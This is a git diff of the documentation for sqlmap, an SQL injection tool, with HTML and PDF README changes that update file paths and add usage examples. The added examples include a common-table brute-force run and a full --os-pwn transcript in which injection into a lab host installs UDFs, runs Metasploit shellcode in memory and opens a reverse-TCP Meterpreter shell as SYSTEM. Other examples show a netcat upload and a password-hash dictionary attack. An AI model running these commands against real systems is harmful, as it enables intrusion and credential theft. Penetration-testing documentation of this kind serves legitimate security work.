diff --git a/doc/README.html b/doc/README.html
index c62704f70..62a29afb6 100644
--- a/doc/README.html
+++ b/doc/README.html
@@ -1707,7 +1707,7 @@ spaces and capital SELECT string are banned:
.$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \ -tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 + tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 [hh:mm:03] [DEBUG] cleaning up configuration parameters [hh:mm:03] [INFO] loading tamper script 'between' @@ -2005,8 +2005,8 @@ back-end DBMS: PostgreSQL [hh:mm:38] [INFO] fetching database users password hashes do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y [hh:mm:42] [INFO] using hash method: 'postgres_passwd' -what's the dictionary's location? [/tmp/sqlmap/txt/wordlist.txt] -[hh:mm:46] [INFO] loading dictionary from: '/tmp/sqlmap/txt/wordlist.txt' +what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt] +[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt' do you want to use common password suffixes? (slow!) [y/N] n [hh:mm:48] [INFO] starting dictionary attack (postgres_passwd) [hh:mm:49] [INFO] found: 'testpass' for user: 'testuser' @@ -2364,6 +2364,39 @@ across the DBMS.The list of common table names is
+txt/common-tables.txtand you can edit it as you wish.Example against a MySQL 4.1 target:
++
+ +++$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \ + --common-tables -D testdb --banner + +[...] +[hh:mm:39] [INFO] testing MySQL +[hh:mm:39] [INFO] confirming MySQL +[hh:mm:40] [INFO] the back-end DBMS is MySQL +[hh:mm:40] [INFO] fetching banner +web server operating system: Windows +web application technology: PHP 5.3.1, Apache 2.2.14 +back-end DBMS operating system: Windows +back-end DBMS: MySQL < 5.0.0 +banner: '4.1.21-community-nt' + +[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt' +[hh:mm:40] [INFO] adding words used on web page to the check list +please enter number of threads? [Enter for 1 (current)] 8 +[hh:mm:43] [INFO] retrieved: users +[hh:mm:56] [INFO] retrieved: Users + +Database: testdb +[1 table] ++-------+ +| users | ++-------+ ++Brute force columns names
@@ -2461,7 +2494,7 @@ back-end DBMS: Microsoft SQL Server 2005 [hh:mm:50] [INFO] fetching file: 'C:/example.exe' [hh:mm:50] [INFO] the SQL query provided returns 3 entries -C:/example.exe file saved to: '/tmp/sqlmap/output/192.168.136.129/files/C__example.exe' +C:/example.exe file saved to: '/software/sqlmap/output/192.168.136.129/files/C__example.exe' [...] $ ls -l output/192.168.136.129/files/C__example.exe @@ -2493,14 +2526,14 @@ handle it properly.
@@ -2583,8 +2616,8 @@ only be deleted manually-$ file /tmp/nc.exe.packed -/tmp/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit +$ file /software/nc.exe.packed +/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit -$ ls -l /tmp/nc.exe.packed --rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /tmp/nc.exe.packed +$ ls -l /software/nc.exe.packed +-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed $ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \ - "/tmp/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 + "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1 [...] [hh:mm:29] [INFO] the back-end DBMS is MySQL @@ -2513,7 +2546,7 @@ do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been success written on the back-end DBMS file system? [Y/n] y [hh:mm:52] [INFO] retrieved: 31744 [hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes, -same size as the local file '/tmp/nc.exe.packed' +same size as the local file '/software/nc.exe.packed'It is also possible to simulate a real shell where you can type as many -arbitrary commands as you wish. The option is
--os-shelland has -the same TAB completion and history functionalities that +arbitrary commands as you wish. The option is--os-shell+and has the same TAB completion and history functionalities that--sql-shellhas.Where stacked queries has not been identified on the web application @@ -2662,11 +2695,108 @@ slide deck
@@ -2987,7 +3117,7 @@ a-$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int_51.aspx?id=1" \ - --os-pwn -v 1 --msf-path /tmp/metasploit +$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \ + --msf-path /software/metasploit [...] -TODO +[hh:mm:31] [INFO] the back-end DBMS is MySQL +web server operating system: Windows 2003 +web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0 +back-end DBMS: MySQL 5.0 +[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system +[hh:mm:31] [INFO] the back-end DBMS operating system is Windows +how do you want to establish the tunnel? +[1] TCP: Metasploit Framework (default) +[2] ICMP: icmpsh - ICMP tunneling +> +[hh:mm:32] [INFO] testing if current user is DBA +[hh:mm:32] [INFO] fetching current user +what is the back-end database management system architecture? +[1] 32-bit (default) +[2] 64-bit +> +[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist +[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist +[hh:mm:33] [INFO] detecting back-end DBMS version from its banner +[hh:mm:33] [INFO] retrieving MySQL base directory absolute path +[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file +[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file +how do you want to execute the Metasploit shellcode on the back-end database underlying +operating system? +[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default) +[2] Stand-alone payload stager (file system way) +> +[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode +which connection type do you want to use? +[1] Reverse TCP: Connect back from the database host to this machine (default) +[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports +between the specified and 65535 +[3] Bind TCP: Listen on the database host for a connection +> +which is the local address? [192.168.136.1] +which local port number do you want to use? [60641] +which payload do you want to use? +[1] Meterpreter (default) +[2] Shell +[3] VNC +> +[hh:mm:40] [INFO] creation in progress ... done +[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait.. + + _ + | | o + _ _ _ _ _|_ __, , _ | | __ _|_ +/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| | + | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ + /| + \| + + + =[ metasploit v3.7.0-dev [core:3.7 api:1.0] ++ -- --=[ 674 exploits - 351 auxiliary ++ -- --=[ 217 payloads - 27 encoders - 8 nops + =[ svn r12272 updated 4 days ago (2011.04.07) + +PAYLOAD => windows/meterpreter/reverse_tcp +EXITFUNC => thread +LPORT => 60641 +LHOST => 192.168.136.1 +[*] Started reverse handler on 192.168.136.1:60641 +[*] Starting the payload handler... +[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval', +please wait.. +[*] Sending stage (749056 bytes) to 192.168.136.129 +[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11 +hh:mm:52 +0100 2011 + +meterpreter > Loading extension espia...success. +meterpreter > Loading extension incognito...success. +meterpreter > [-] The 'priv' extension has already been loaded. +meterpreter > Loading extension sniffer...success. +meterpreter > System Language : en_US +OS : Windows .NET Server (Build 3790, Service Pack 2). +Computer : W2K3R2 +Architecture : x86 +Meterpreter : x86/win32 +meterpreter > Server username: NT AUTHORITY\SYSTEM +meterpreter > ipconfig + +MS TCP Loopback interface +Hardware MAC: 00:00:00:00:00:00 +IP Address : 127.0.0.1 +Netmask : 255.0.0.0 + + + +Intel(R) PRO/1000 MT Network Connection +Hardware MAC: 00:0c:29:fc:79:39 +IP Address : 192.168.136.129 +Netmask : 255.255.255.0 + + +meterpreter > exit + +[*] Meterpreter session 1 closed. Reason: User exit<DB_NAME>/<TABLE_NAME>.csvfile intoYou can then use sqlmap itself to read and query the locally created SQLite 3 file. For instance,
+sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --tablepython sqlmap.py -d -sqlite:///tmp/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 --table.Simple wizard interface for beginner users
diff --git a/doc/README.pdf b/doc/README.pdf index f47d69ccb..8b18d582a 100644 --- a/doc/README.pdf +++ b/doc/README.pdf @@ -1243,17 +1243,18 @@ endobj /ProcSet [ /PDF /Text ] >> endobj 598 0 obj << -/Length 1487 +/Length 1495 /Filter /FlateDecode >> stream -xZKw8Wx58LdI5QXz?%qƄfS):~KY8y6:btB ) N>~L\ ȹjWe"1tćht<39o^O?O_<~6/Yyi ';nk@B}L`a$˃.9/-"rdba=f̜hr& r5-H)Kj\-Uܢ&f y\qusEEJM*kOJ]ajX2.β$OZڃA w (h^Eقg+g7TCֹ3,HY>Sd/wZxw;`Uu%LrΪs^8T;'܉) 2IѝZp .peژ_< A]oo?;x+$fnT*63593JN(+1ACvf *ȑkTM[\H* W?i[8*Z<ʤ7P^#fiځ݈JWSn,E A+O9+c߹s..ʎ\#j&=DW=ѡ!Γ(5:.2eo_ꐿj?e9P0̤'KwL"YÊx:ȱhSF5g؉\β>x =ߣ[n2T"['puhqH&?ILZbq̫ -<KH2J sleǤ[G -v)kݼ| 7kMBAڙH,9!R -Rb<)S{$_R/-rL.R+\?ѡ*Z -I|Yy%+:Q;DLfF\dlYqn/-H˛ٲ(K &T71.%?w5//JW糞jUrhr`|֪fJW)#0:'4#5PKYUc,m -Cn-mߞk)0IuһQ:GuuG+zoܦSޏu]"um sUje>ǟͷ$MAt_m\%j ߇"o}%>㹈S;S9w9_:k:[ג|4uUtꆥRz4QiǮCU;q+vvJlN|4J!(쌫*{[`{L>I:P?0A0~ȋҜ.pŵ&+533!{ް;>{ +xZKw8Wx58LCRa` (~ߏdI9q9MM8~/rW#GV Ċїo5XIh]5R!tat4=?"oM!ȳ3w'k->r\ȟ,DbU/%_X7jdM07#r0&.! p!_fcu +ZyyeBvu8`B6ã+@ mlAX:A/r `l,cRlFk23, 4Iw5-H. +h\%V̠y{&bU,:g9"͇d%'q)P9,gieYnA[ )E)肥+.ˊ7{ֹ5 Hi6A͍?^^вKb&y99+M bo"0rxg9}p]\'&f#z$|Vvכ[- O^] w<9xM6JE@`&'gzR 9~=&H|9,{ rIyR=BaC q^۠*($c} {AM܆?,E AKO-"߹s.\ґI;dUnth$kUFuY4oU_q5_'P(fғY<^rQ P:kxX +rڤ4QYw"SѴO'0 +(ЁzC*V@'Of쫋pTh^gQHٿ,횁U{7hy@E)E+%G*&z> F+Z7}D]Qʞ +8u$i0uܼa1Ѹ]Z7+-wxcS]Pwsg +3tX۸,6:!)CEIQy19K-Ly\$Vf._P-E'8sEf'n3#T4Ռ8u6}]MlnDYD[gf+. +Wejy,M8T9Tq6kTJe3[+𤑮O|[``$F"+\IW.ǞoӤ6*>ȇ{Z88JJ>Ci~nBGpwEwěS9ܺ֏uK"umsUie>ǟ8F/6J6AzEb8zb3S9+ӾmDl[2{-(GHe\yG*i)%FS2y u;uUD]қTsP8f}N[t3.3r(l0->I8P?07AEti̯IUȝ^wǗ2] endstream endobj 597 0 obj << @@ -1531,15 +1532,17 @@ endobj /ProcSet [ /PDF /Text ] >> endobj 624 0 obj << -/Length 2469 +/Length 2475 /Filter /FlateDecode >> stream -xZY۸~_HU]]eow0Fb3tEvj)y . N|/k^Ј!W0[n |Bܼjn ȗoVCđ8HnKg{4BC/eCOIVQeGbki_rIpRc f'xp% 6maSZaRd53Цv0!LDq._PU%fE e|u"(*/`wꔕ±տTX ^6nYBr?/$/5)-!M{DU+7d Ŭ5"X:X֟Qm}Q%UX|o~pڸ8V^W88M$/`BOz9qkumr߳_ETu"˿/"|sfְn>Vܱi-4갂ت~'2rd5F0O=M~yJs ='@OK0 #$Z6.W[5V* 12}՝|~jT7e#* ?1Q'MD||kb7}v rE kGfekiΒ,ɾ@l!hn}o7')}#1fqZ{Mo˦Q1 Pv6:JL@-0meȄch]nwxz+Pkt)2Lښ@E%zvTKZ"aY{p98/ `96rlroOD\Xuk6 -c[fMBѐQ+%ao]ů;,w-opkjZ -y> MᴆVNIػ-;cN yIW'>iaf,r uR-Πj5}YmlkHݎZ-v- O'q0A5@@ kI7m]-БOXġB[IB/T